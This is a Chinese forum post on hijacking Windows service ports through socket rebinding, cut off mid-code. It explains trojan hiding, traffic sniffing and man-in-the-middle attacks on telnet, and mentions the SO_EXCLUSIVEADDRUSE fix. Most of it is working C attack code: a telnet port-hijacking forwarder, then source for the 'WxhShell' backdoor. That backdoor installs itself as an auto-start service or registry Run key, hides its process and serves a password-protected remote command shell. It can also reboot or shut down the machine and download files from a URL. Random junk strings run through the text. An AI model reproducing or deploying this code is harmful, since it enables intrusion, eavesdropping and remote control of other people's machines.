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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7R5+Q\W  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F^5\w-gLY  
F3L+X5D.yu  
  saddr.sin_family = AF_INET; LCuz_LTFq{  
2rb@Md]dx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [GcW*v  
yq[@Cw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZH~Wn#Wp  
DcE4r>8B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rbl^ aik  
8\jsGN.$JZ  
  这意味着什么?意味着可以进行如下的攻击: &=XK:+  
k *>"@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7xfS%'=y"  
%"WhD'*z}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \s!x;nw[  
D0>Pc9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #$F*.vQSs+  
kdaq_O:s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M`E}1WNQ?]  
1MmEP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Qj$w7*U  
0E)M6 jJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nj1PR`AE  
v8n^~=SH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '*Ld,`  
mA@!t>=oMq  
  #include kI2+&  
  #include Ejnk\8:  
  #include '8(UiB5d  
  #include    C>SO d]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P'DcNMdw  
  int main() DO( 3hIj  
  { :6/$/`I0W  
  WORD wVersionRequested; !Uv>>MCr  
  DWORD ret; l]gW_wUQd  
  WSADATA wsaData; f .$*9Fkw  
  BOOL val; ZB} A^X  
  SOCKADDR_IN saddr; ;lfv.-u:<  
  SOCKADDR_IN scaddr; :Gew8G  
  int err; #%w)w R3  
  SOCKET s; )uMv]  
  SOCKET sc; d8U<V<H<  
  int caddsize; @4]{ZUV  
  HANDLE mt; wvxsn!Ao&=  
  DWORD tid;   Q7i(M >|O  
  wVersionRequested = MAKEWORD( 2, 2 ); 7 |GSs=  
  err = WSAStartup( wVersionRequested, &wsaData ); 6ud<U#\b&  
  if ( err != 0 ) { \A)Pcc}7  
  printf("error!WSAStartup failed!\n"); ` U-vXP  
  return -1; ZX#60o8  
  } |o'r?"  
  saddr.sin_family = AF_INET; n{&;@mgI  
   w'E?L`c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2e03m62*  
p#_ 5w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GLX{EG9Z  
  saddr.sin_port = htons(23); tGzp= PyA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ayQeT  
  { _O ;4>  
  printf("error!socket failed!\n"); CGkx_E]  
  return -1; B^/k`h6J  
  } >Bu9D  
  val = TRUE; \9uK^oS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \Hf/8!q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gXM+N(M-  
  { xA`j:zn'j  
  printf("error!setsockopt failed!\n"); F^`+.G\  
  return -1; Nwe-7/Q  
  } yqVoedN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *M_^I)*L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `xx3JQv[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &]shBvzl^  
Y=g]\%-PB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h=JW^\?\]  
  { f re5{=@  
  ret=GetLastError(); pLys%1hg  
  printf("error!bind failed!\n"); /J&ks>St  
  return -1; +r9neS.l  
  } Y*\N{6$2  
  listen(s,2); f=u +G  
  while(1) Z0<s -eN:  
  { w=a$]`  
  caddsize = sizeof(scaddr); .U44p*I  
  //接受连接请求 1iNMgA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =p"ma83  
  if(sc!=INVALID_SOCKET) d>F.C>  
  {  ST0TWE'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r-*6# "  
  if(mt==NULL) GN:|b2 "  
  { #S x  
  printf("Thread Creat Failed!\n"); ^!0z+M:>^  
  break; wG9aX*(n  
  } 9qgs*]J  
  } . UH'U\M  
  CloseHandle(mt); 8n-Xt7z  
  } IV1Y+Z )  
  closesocket(s); 8S8UV(K0  
  WSACleanup(); TbN{ex*  
  return 0; ,D]g]#Lq  
  }   ezCJq`b  
  DWORD WINAPI ClientThread(LPVOID lpParam) \=]`X2Ld  
  { x5V))~Ou  
  SOCKET ss = (SOCKET)lpParam; GZKYRPg  
  SOCKET sc; Yyr9Kj:  
  unsigned char buf[4096]; xUCq%r_  
  SOCKADDR_IN saddr; DdU w~n,  
  long num; V aG Qre  
  DWORD val; ICr.Gwe3_  
  DWORD ret; Li"+`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W&&|T;P<J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8lGM>(:o  
  saddr.sin_family = AF_INET; E*wG5] at  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #z<# oC5  
  saddr.sin_port = htons(23); mfS}+_ C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KfYU.Q  
  { q-ko)]  
  printf("error!socket failed!\n"); he:z9EG}  
  return -1; Xo] 2iQy  
  } yU4mS;GX  
  val = 100; }.Z `   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9V[}#(f$  
  { gIusp917  
  ret = GetLastError(); )0ydSz`B  
  return -1; *Uj;a.  
  } N)AlQ'Lwx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VZ =:`)  
  { 1q3"qY H  
  ret = GetLastError(); G2?#MO  
  return -1; ey,f igjd.  
  } f1+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VB#&`]r do  
  { kh:_,g  
  printf("error!socket connect failed!\n"); Lo#G. s|  
  closesocket(sc); P:N> #G~z  
  closesocket(ss); 0t}v@-abU  
  return -1; t[|t0y8  
  } :]]x^wony~  
  while(1) "DfjUk  
  { (V\N1T,f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~ {yy{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]Y!Fz<-;P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X0-PJ-\aD@  
  num = recv(ss,buf,4096,0); >u(^v@Ejf  
  if(num>0) :vzIc3~c:`  
  send(sc,buf,num,0); }LKD9U5;8  
  else if(num==0) jZPGUoRLg  
  break; eq(h {*rC  
  num = recv(sc,buf,4096,0); 1"75+Q>D  
  if(num>0) v}a {nU'  
  send(ss,buf,num,0); ~:o$}`mW  
  else if(num==0) kGo2R]Dd[  
  break; _$5DK%M}  
  } YG8V\4 SQ  
  closesocket(ss); I`rN+c:  
  closesocket(sc); !<HMMf,-D  
  return 0 ; SQn.`0HT  
  } [fV"tf;  
M j6,VD9L  
(=;'>*L(  
========================================================== <FBBR2  
SZ9DT  
下边附上一个代码,,WXhSHELL 3Il._]#  
E;x-O)(&  
========================================================== vYb4&VV  
W 02z}"#  
#include "stdafx.h" v<g=uEpN  
#$-?[c$>  
#include <stdio.h> oYTLC@98}  
#include <string.h> T 4p}5ew'  
#include <windows.h> ?%qaoxG37  
#include <winsock2.h> e98QT9  
#include <winsvc.h> -6s:D/t1'  
#include <urlmon.h> !/u  
<N$Hb2b  
#pragma comment (lib, "Ws2_32.lib") "0[`U(/  
#pragma comment (lib, "urlmon.lib") a^@.C5  
<I tS_/z  
#define MAX_USER   100 // 最大客户端连接数 5[jS(1a`c  
#define BUF_SOCK   200 // sock buffer 5X+`aB  
#define KEY_BUFF   255 // 输入 buffer }F!Uu KR  
N{Z+  
#define REBOOT     0   // 重启 ej&.tNvq  
#define SHUTDOWN   1   // 关机 9X=<uS  
`y^\c#k  
#define DEF_PORT   5000 // 监听端口 z,x )Xx  
Ao}<a1f  
#define REG_LEN     16   // 注册表键长度 jS[=Zx`  
#define SVC_LEN     80   // NT服务名长度 Nr `R3(X  
LO)!Fj4|  
// 从dll定义API Ui (nMEon  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); > !s<JKhI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D6Aa5&rO+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =<p=?16 x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OZ e&p  
 c1s&  
// wxhshell配置信息 1.3dy]vG  
struct WSCFG { y$]<m+1  
  int ws_port;         // 监听端口 /7Pqy2sgE  
  char ws_passstr[REG_LEN]; // 口令 e1h7~ j  
  int ws_autoins;       // 安装标记, 1=yes 0=no DC*MB:c#U  
  char ws_regname[REG_LEN]; // 注册表键名 @0 P4pt;(  
  char ws_svcname[REG_LEN]; // 服务名 }*QK;#NEc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EYj~Xj8_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jQ3dLctn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G"J nQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iJ^}{-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?{aJ#w   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rC_1f3A  
ou~$XZ7oi  
}; >4Tk#+%Jj  
2XeyNX  
// default Wxhshell configuration IJ2'  
struct WSCFG wscfg={DEF_PORT, {TpbUj0  
    "xuhuanlingzhe", 76@W:L*J$J  
    1, QJ(%rvn3  
    "Wxhshell", u%:`r*r  
    "Wxhshell", "IzAvKPM  
            "WxhShell Service", Q\kWQOB_  
    "Wrsky Windows CmdShell Service", K=JDl-#!  
    "Please Input Your Password: ", %E&oe $[B  
  1, v/rBjUc+X  
  "http://www.wrsky.com/wxhshell.exe", 'vVWUK956  
  "Wxhshell.exe" 5Ex[}y9L`  
    }; JFX}))7  
~^a>C  
// 消息定义模块 upaP,ik}~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V.*M;T\i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y0|){&PCt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iY07lvG<  
char *msg_ws_ext="\n\rExit."; Qw2-Vv4!"  
char *msg_ws_end="\n\rQuit."; jGz~}&B  
char *msg_ws_boot="\n\rReboot..."; .G\](%  
char *msg_ws_poff="\n\rShutdown..."; w ods   
char *msg_ws_down="\n\rSave to "; /KOI%x  
u_' -vZ_  
char *msg_ws_err="\n\rErr!"; DoQ^caa@  
char *msg_ws_ok="\n\rOK!"; ;6pB7N  
):>?N`{V  
char ExeFile[MAX_PATH]; "Ux(nt  
int nUser = 0; i@?|vu  
HANDLE handles[MAX_USER]; 6}I X{nQI  
int OsIsNt; I1':&l^O  
7<e}5nA/  
SERVICE_STATUS       serviceStatus; }M%3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0>SA90Q  
[>a3` 0M  
// 函数声明 6#*_d,xQT  
int Install(void); Mi|13[p{  
int Uninstall(void); WFahb3kx  
int DownloadFile(char *sURL, SOCKET wsh); yXDjM2oR/2  
int Boot(int flag); *|W](id7e  
void HideProc(void); $zCCeRP  
int GetOsVer(void); lAi5sN)|$  
int Wxhshell(SOCKET wsl); P8X9bW~GQ  
void TalkWithClient(void *cs); 'pIrwA^6N  
int CmdShell(SOCKET sock); \ .#Y  
int StartFromService(void); N7lg6$s Aj  
int StartWxhshell(LPSTR lpCmdLine); Rh~b,"  
6Y ]P7j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,.ivdg( /  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &nr{-][  
^P~,bO&H.Z  
// 数据结构和表定义 vi^YtA  
SERVICE_TABLE_ENTRY DispatchTable[] = _";w*lg}  
{ PVlC j  
{wscfg.ws_svcname, NTServiceMain}, o5&b'WUJ=  
{NULL, NULL} K1J |\!o  
}; <lIm==U<-  
_xh)]R  
// 自我安装 t{iRCj  
int Install(void) k-n`R)p:  
{ -~8PI2  
  char svExeFile[MAX_PATH]; K% FK  
  HKEY key; o"X..m<  
  strcpy(svExeFile,ExeFile); pp(09y`]  
q&>fKSnKs  
// 如果是win9x系统,修改注册表设为自启动 1O0. CC,p  
if(!OsIsNt) { f?/OV*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >qNpY(Ql  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KO8{eT9d  
  RegCloseKey(key); SF; \*]["f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l VD{Y`)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P-2DBNB7  
  RegCloseKey(key); 'J} ?'{.  
  return 0; 0 `7y Pq*  
    } AA^K /y  
  } ,i}EGW,9q  
} M| Gl&   
else { )-[$m%  
WZ6{9/%:  
// 如果是NT以上系统,安装为系统服务 JW0\y+o~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q7KHx b  
if (schSCManager!=0) [Lje?M* r  
{ L:Rg3eo  
  SC_HANDLE schService = CreateService +8Q @R)3  
  ( Nm&'&L%Ch  
  schSCManager, *cWHl@4  
  wscfg.ws_svcname, &PV%=/ -J  
  wscfg.ws_svcdisp,  N#9N ^#1  
  SERVICE_ALL_ACCESS, tL;.vRx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;yN Y/  
  SERVICE_AUTO_START, +|dL R*s  
  SERVICE_ERROR_NORMAL, iYT?6Y|+  
  svExeFile, ui)mYR[8X  
  NULL, =dNE1rdzNa  
  NULL, D>{`I'  
  NULL, J#Y0R"fo  
  NULL, SPlt=*C#_  
  NULL J1O1! .  
  ); ~;$QSO\2h  
  if (schService!=0) L3oL>r'|  
  { .yfp-n4H  
  CloseServiceHandle(schService); $s}w23nB  
  CloseServiceHandle(schSCManager); :F"IOPfU5[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <& PU%^Ha  
  strcat(svExeFile,wscfg.ws_svcname); =\2gnk~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { am? k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  YMv}]  
  RegCloseKey(key); &@@PJ!&  
  return 0; Cx~;oWZ  
    } Mn&_R{{=  
  } 7WSP0Xyz  
  CloseServiceHandle(schSCManager);  D~"a"  
} xF3FY0U[  
} ~tfd9,t  
3s%DF,  
return 1; d:>^]5cE&  
} U 5j4iz'  
bnkZWw'9  
// 自我卸载 * FEJ5x  
int Uninstall(void) )=gU~UV  
{ *ilVkV"U  
  HKEY key; ?0dmw?i  
4"eFR'g  
if(!OsIsNt) { /PSXuVtu5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L7 <30"7  
  RegDeleteValue(key,wscfg.ws_regname); <ivG(a*=]  
  RegCloseKey(key); LyvR].p=5*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 36co 'a4,  
  RegDeleteValue(key,wscfg.ws_regname); {_(R?V]w,  
  RegCloseKey(key); tH0x|  
  return 0; om`B:=+  
  } \Cq4r4'  
} RTd,bi*  
} -`Z!p  
else { fCNQUK{Gs5  
zx8@4?bK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *^; MWI  
if (schSCManager!=0) M {'(+a[  
{ ?;UR9f|!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Bt")RG  
  if (schService!=0) pe,y'w{  
  { 'C7R* P  
  if(DeleteService(schService)!=0) { aO}hE 2]  
  CloseServiceHandle(schService); <L8FI78[*  
  CloseServiceHandle(schSCManager); O{ 3X`xAf  
  return 0; ]Kjt@F";  
  } 8dx 7@y?z  
  CloseServiceHandle(schService); 7wWx8  
  } 5V(#nz  
  CloseServiceHandle(schSCManager); dKEy6C"@  
} <f:(nGj  
} -J 6`  
|PYyhY  
return 1; -a|b.p  
} ua=7YG  
)d3C1Pd>  
// 从指定url下载文件 sbVEA  
int DownloadFile(char *sURL, SOCKET wsh) I&i6-xp  
{ PtQ[({d3R  
  HRESULT hr; *wx%jbJo  
char seps[]= "/"; Sx~mc_ekY  
char *token; hunlKIg  
char *file; <%w TI<m,-  
char myURL[MAX_PATH]; a"Iu!$&N  
char myFILE[MAX_PATH]; U9PI#TX &O  
uAnL`  
strcpy(myURL,sURL); W!" $g  
  token=strtok(myURL,seps); @6~m&$R/  
  while(token!=NULL) ;,]4A{|  
  { k9H}nP$F  
    file=token; rIB./,  
  token=strtok(NULL,seps); $;=^|I4E  
  } ktfxb <%  
J3oUtu  
GetCurrentDirectory(MAX_PATH,myFILE); Ux^ue9  
strcat(myFILE, "\\"); {I0!q"sF  
strcat(myFILE, file); &x*l{s[  
  send(wsh,myFILE,strlen(myFILE),0); J80&npsO  
send(wsh,"...",3,0); #+Bz$CO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _?felxG[  
  if(hr==S_OK) %LHt{:9.  
return 0; njJTEUd">  
else 7~1Fy{tc  
return 1; Bkn]80W  
6*$A/D  
} ?r)>SB3(e  
dj] O  
// 系统电源模块 ^Ar1V!PFk  
int Boot(int flag) .i )K#82  
{ U3]/ NV*   
  HANDLE hToken; mPPB"uQ  
  TOKEN_PRIVILEGES tkp; ;^E\zs  
l_04b];  
  if(OsIsNt) { ;mD!8<~z.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @S~n^v,)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \cX9!lHl  
    tkp.PrivilegeCount = 1; %sZ3Gpi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8N j}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _(=g[=Mer  
if(flag==REBOOT) { H9BqE+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t vW0 W  
  return 0; \jZmu  
} p[|V7K'Z  
else { BUi,+NdIk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Cv>~%<   
  return 0; h0 %M+g  
} D=D.s)ns*  
  } }YC=q  
  else { w0yzC0yBk  
if(flag==REBOOT) { Xe`$SNM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^f(El(w  
  return 0; K4|fmgcy.  
} ebL0cK?  
else { 75P!`9bE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -; d{}F  
  return 0; 7?_g m>]a  
} k&K'FaM!  
} {<Y!'WL{  
r4 5}o  
return 1; rOUQg_y  
} h;(mb2[R  
F!I9)PSj  
// win9x进程隐藏模块 (?T{^Hg  
void HideProc(void) 3-;<G  
{ SFP?ND+7  
*fyaAv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $i3`cX)g  
  if ( hKernel != NULL )  bFA lC  
  { y~t e!C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "f3mi[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (yT&&_zY4  
    FreeLibrary(hKernel); h{~GzrL*  
  } NN:zQ_RT  
2=7[r-*E  
return; ei]Q<vT6  
} VJr~h "[  
wB[ JFy"E  
// 获取操作系统版本 mH<|.7~0  
int GetOsVer(void) Yu[MNX ;G  
{ :$X dR:f}}  
  OSVERSIONINFO winfo; K`|V1L.m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \\oa[nvL~  
  GetVersionEx(&winfo); _S &6XNV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F5UHkv"K&O  
  return 1; ,(hP /<  
  else i3(5 '  
  return 0; Z]Z&PbP  
} `i~J0#P  
fgo3Gy*#  
// 客户端句柄模块 CRzLyiRvU&  
int Wxhshell(SOCKET wsl) 7D8 pb0`;J  
{ "6%qi qt  
  SOCKET wsh; =zp{ ^mC  
  struct sockaddr_in client; "x:-#2+h  
  DWORD myID; h,fahbH -  
:Xx7':5  
  while(nUser<MAX_USER) -=u9>S)!c  
{ #H8QX5b)  
  int nSize=sizeof(client); ^#w9!I{4.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JV2[jo}0 N  
  if(wsh==INVALID_SOCKET) return 1; PI *Z>VE?  
Mp J3*$Dr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E%f!SD  
if(handles[nUser]==0) & )-fC  
  closesocket(wsh); C}o^p"M*B3  
else b!EqYT  
  nUser++; 0*uJS`se6Z  
  } -)ri,v{:c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ']X0g{%  
m[N&UM#  
  return 0; bg|=)sw4  
} \w$e|[~  
!83 N#Y_Mz  
// 关闭 socket ]h=y  
void CloseIt(SOCKET wsh) [#:yOZt  
{ p5nrPL  
closesocket(wsh); sY}0PB  
nUser--; dr"@2=Z  
ExitThread(0); ^h<ElK  
} VhgcvS@V  
R~d Wblv  
// 客户端请求句柄 kRiZ6mn  
void TalkWithClient(void *cs) Ao9|t;i  
{ .MxMBrM  
/w*HxtwFmD  
  SOCKET wsh=(SOCKET)cs; eX^ F^(   
  char pwd[SVC_LEN]; p,)pz_M  
  char cmd[KEY_BUFF]; Ao *{#z   
char chr[1]; Fow{-cs_p  
int i,j; E3_ 5~>  
~~,#<g[  
  while (nUser < MAX_USER) {  n4AQ  
ab_EH}j1\q  
if(wscfg.ws_passstr) { vb\R~%@T,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f(-3d*g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \AD|;tA\vE  
  //ZeroMemory(pwd,KEY_BUFF); (rf8"T!"  
      i=0; <$ nMqUu0  
  while(i<SVC_LEN) { #W L>ha v  
`~qVo4V6Z  
  // 设置超时 1lv. @-  
  fd_set FdRead; lIatM@gU  
  struct timeval TimeOut; 8{Wh4~|+  
  FD_ZERO(&FdRead); niCq`!  
  FD_SET(wsh,&FdRead); sQ82(N7l  
  TimeOut.tv_sec=8; 4}^\&K&t{  
  TimeOut.tv_usec=0; # 9ZO1\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )x&>Cf<,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SYv5{bff =  
tlmfDQD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `?(9Bl  
  pwd=chr[0]; 04#r'UIF  
  if(chr[0]==0xd || chr[0]==0xa) { +]# p m9  
  pwd=0; e]l.m!,r  
  break; {y>Kcfc/?E  
  } ur/:aI  
  i++; `lE8dwL  
    } L?hWH0^3  
}RkD7  
  // 如果是非法用户,关闭 socket S#Pni}JD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q"`J-#L  
} ^Pc&`1Ap  
G^w:c]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g _u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8.D9OpU  
J|o )c~  
while(1) { R<8!lQ4s  
OQsF$% *   
  ZeroMemory(cmd,KEY_BUFF); ^/Frg<>'p  
GEfTs[  
      // 自动支持客户端 telnet标准   WcE/,<^*  
  j=0; N1z:9=(I  
  while(j<KEY_BUFF) { Bf6\KI<V2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Dx <Sr!  
  cmd[j]=chr[0]; C5'#0}6i  
  if(chr[0]==0xa || chr[0]==0xd) { ;jT@eBJ  
  cmd[j]=0; C C`Y r  
  break; B#x.4~YX  
  } ;kF+V*  
  j++; " [K>faV  
    } Hz3KoO &  
*8xMe  
  // 下载文件 1"} u51  
  if(strstr(cmd,"http://")) { 8|\?imOp\[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5 ]@"f/  
  if(DownloadFile(cmd,wsh)) H5p&dNO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g=n /w  
  else A{QA0X!p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q|:qs\6q5  
  } ]kyGm2Ty9  
  else { Fop'm))C8  
. ,n>#lL  
    switch(cmd[0]) { wO ?A/s  
  ,qO2D_  
  // 帮助 ^ Nm!b  
  case '?': { [NIaWI,>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i;}mIsNBY  
    break; +`~6Weay  
  } y8=H+Y  
  // 安装 Kh2!c+Mw  
  case 'i': { );5H<[  
    if(Install()) \#)w$O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oi4tG&q  
    else XfH[: XG3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d,caOE8N  
    break; *4|]=yPU  
    } _+2Jc}Yf  
  // 卸载 H{j jA+0  
  case 'r': { E?[]N[0Kl  
    if(Uninstall()) `%S#XJU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %w3"B,k'9D  
    else Omy<Y@$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )wueR5P  
    break; E(G&mfhb  
    } ?mJ&zf|B8  
  // 显示 wxhshell 所在路径 M[7$cfp-Y~  
  case 'p': { $:SSm $k  
    char svExeFile[MAX_PATH]; P+t`Rw  
    strcpy(svExeFile,"\n\r"); Ov PTgiI!N  
      strcat(svExeFile,ExeFile); "s5[w+,R  
        send(wsh,svExeFile,strlen(svExeFile),0); @fG 'X  
    break; rW B/#m  
    } Dk`(Wgk2  
  // 重启 f jm(C#^-  
  case 'b': { s+OXT4>+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jQrw^6C  
    if(Boot(REBOOT)) p;<brwN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YPNG9^Y  
    else { Pmj%QhOYE  
    closesocket(wsh); #J09Eka;J  
    ExitThread(0); ZQY?wO: [  
    } `PApmS~} .  
    break; Vmf !0-  
    } ]ovb!X_  
  // 关机 hO] vy>i;  
  case 'd': { "8sB,$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7S]<?>*  
